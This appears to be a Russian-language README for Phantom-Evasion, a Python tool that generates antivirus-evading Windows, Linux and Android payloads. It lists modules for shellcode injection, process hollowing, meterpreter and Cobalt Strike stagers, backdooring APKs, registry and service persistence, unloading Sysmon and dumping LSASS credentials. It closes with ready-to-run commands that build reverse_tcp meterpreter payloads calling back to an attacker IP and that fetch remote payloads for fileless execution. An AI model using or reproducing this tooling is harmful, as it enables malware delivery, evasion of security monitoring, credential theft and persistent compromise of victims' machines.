
Инструмент на Python для обхода антивируса
Phantom-Evasion — это инструмент для обхода антивирусов, написанный на Python (совместим как с python, так и с python3), способный генерировать (почти) полностью необнаруживаемые исполняемые файлы даже с самыми распространёнными полезными нагрузками x86 msfvenom.
Следующие ОС официально поддерживают автоматическую установку:
Следующие ОС, вероятно, поддерживают автоматическую установку, но требуют ручной установки metasploit-framework:
Следующие ОС требуют ручной настройки:
Просто клонируйте репозиторий Git или скачайте и распакуйте папку Phantom-Evasion.
Автоматическая установка: откройте терминал и выполните:
python3 phantom-evasion.py --setup
или:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
или запустите phantom-evasion в интерактивном режиме и выберите опцию 7.
python3 phantom-evasion.py
или:
./phantom-evasion.py
python3 phantom-evasion.py --help
или:
./phantom-evasion.py --help
Каждый модуль полезной нагрузки Windows на C может быть скомпилирован (поддерживаются x86 и x64) как EXE или DLL/ReflectiveDLL.
Внедрение случайного мусорного кода (интенсивность, частота и вероятность повторного внедрения могут быть заданы) и методы обхода антивирусов Windows (частота может быть задана).
Поддерживается многобайтовое XOR/шифрование Vigenere шелл-кода/файла в модулях внедрения шелл-кода и Download Exec.
Поддерживается техника Ntdll unhookapi и маскировка процесса через PEB.
Широкий спектр режимов выполнения (как локальных, так и удалённых).
Широкий спектр режимов выделения памяти для полезной нагрузки (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
Можно установить динамическую загрузку Windows API.
Поддерживается подделка и подпись сертификатов.
Утилита strip (https://en.wikipedia.org/wiki/Strip_(Unix))
Поддерживаются полезные нагрузки Windows msfvenom и пользовательские шелл-коды. Шелл-код может быть сохранён как ресурс и получен во время выполнения с помощью API FindResource.
Поддерживаемое шифрование шелл-кода:
1. none
2. Multibyte-Xor
3. Double-key Multibyte-Xor
4. Vigenere
5. Double-key Vigenere
Локальный метод выполнения может быть одним из следующих:
Thread
APC
Локальный режим выделения памяти может быть одним из следующих:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Удалённый метод выполнения может быть одним из следующих:
ThreadExecutionHijack (сокращённо TEH)
Processinject (сокращённо PI)
APCSpray (сокращённо APCS)
EarlyBird (сокращённо EB)
EntryPointHijack (сокращённо EPH)
Удалённый режим выделения памяти может быть одним из следующих:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Модули стейгеров meterpreter на чистом C (TCP/HTTP/HTTPS), совместимые с msfconsole и Cobalt Strike beacon (reverse_tcp/reverse_http/reverse_https).
При использовании командной строки:
reverse_tcp c stager имеет обозначение WRT
reverse_http c stager имеет обозначение WRH
reverse_https c stager имеет обозначение WRS
Локальный метод выполнения может быть одним из следующих:
Thread
APC
Локальный режим выделения памяти может быть одним из следующих:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Загрузка exe/dll по указанному URL в память и выполнение/загрузка в удалённый процесс (без записи на диск).
Поддерживается загрузка зашифрованных EXE/DLL:
1. none
2. Multibyte-Xor
3. Double-key Multibyte-Xor
4. Vigenere
5. Double-key Vigenere
Зашифрованный DLL/EXE будет сохранён как originalfilename + "crypt" + ".dll" или ".exe" — это тот файл, который нужно скачать.
Windows DownloadExecExe без записи на диск (обозначение в командной строке WDE):
Удалённый метод выполнения может быть одним из следующих:
ProcessHollowing (сокращённо PH)
Windows DownloadExecDll без записи на диск (обозначение в командной строке WDD):
Удалённый метод загрузки может быть одним из следующих:
ReflectiveDll (сокращённо RD)
RDAPC (ReflectiveDllAPC)
ManualMap (сокращённо MM) ---> только x86
Поддерживаются полезные нагрузки Linux msfvenom и пользовательские шелл-коды.
Android Msfvenom Obfuscate Backdoor:
Обфускация полезных нагрузок msfvenom и пересборка (smali/baksmali) с помощью apktool. Обфусцированная полезная нагрузка может использоваться для бэкдоринга безвредных APK-файлов.
Windows Persistence RegCreateKeyExW Add Registry Key (C) Скомпилированный исполняемый файл необходимо загрузить на целевой компьютер и выполнить, указав полный путь к файлу для добавления в автозагрузку в качестве аргумента.
Windows Persistence REG Add Registry Key (CMD) Этот модуль генерирует полезные нагрузки командной строки для персистентности (добавление ключа реестра через REG.exe).
Windows Persistence Keep Process Alive (C) Скомпилированный исполняемый файл необходимо загрузить на целевой компьютер и выполнить. Использует CreateToolSnapshoot, ProcessFirst и ProcessNext для проверки, жив ли указанный процесс каждые X секунд (если нет, создаёт новый процесс с помощью API WinExec).
Windows Persistence Schtasks (CMD)
Этот модуль генерирует полезные нагрузки командной строки для персистентности (с помощью Schtasks.exe).
Windows Persistence Create Service (CMD)
Этот модуль генерирует полезные нагрузки командной строки для персистентности (с помощью sc.exe).
Windows DuplicateTokenEx (C)
Создаёт новый процесс с токеном, клонированным из другого процесса. Скомпилированный исполняемый файл необходимо загрузить на целевой компьютер и выполнить.
Windows Unload Sysmon (C) Выгружает драйвер sysmon, что приводит к остановке записи журналов событий sysmon. Скомпилированный исполняемый файл необходимо загрузить на целевой компьютер и выполнить.
Windows Unload Sysmon (CMD) Выгружает драйвер sysmon, что приводит к остановке записи журналов событий sysmon.
Windows Attrib hide file (CMD) Использует attrib для скрытия файла
Windows SetFileAttribute hidden (C) Скрывает файл с помощью API SetFileAttribute Скомпилированный исполняемый файл необходимо загрузить на целевой компьютер и выполнить.
Windows DumpLsass (C) Снимает дамп Lsass с помощью API MiniWriteDumpWrite. Скомпилированный исполняемый файл необходимо загрузить на целевой компьютер и выполнить.
Windows DumpLsass (CMD)
Снимает дамп Lsass из командной строки.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf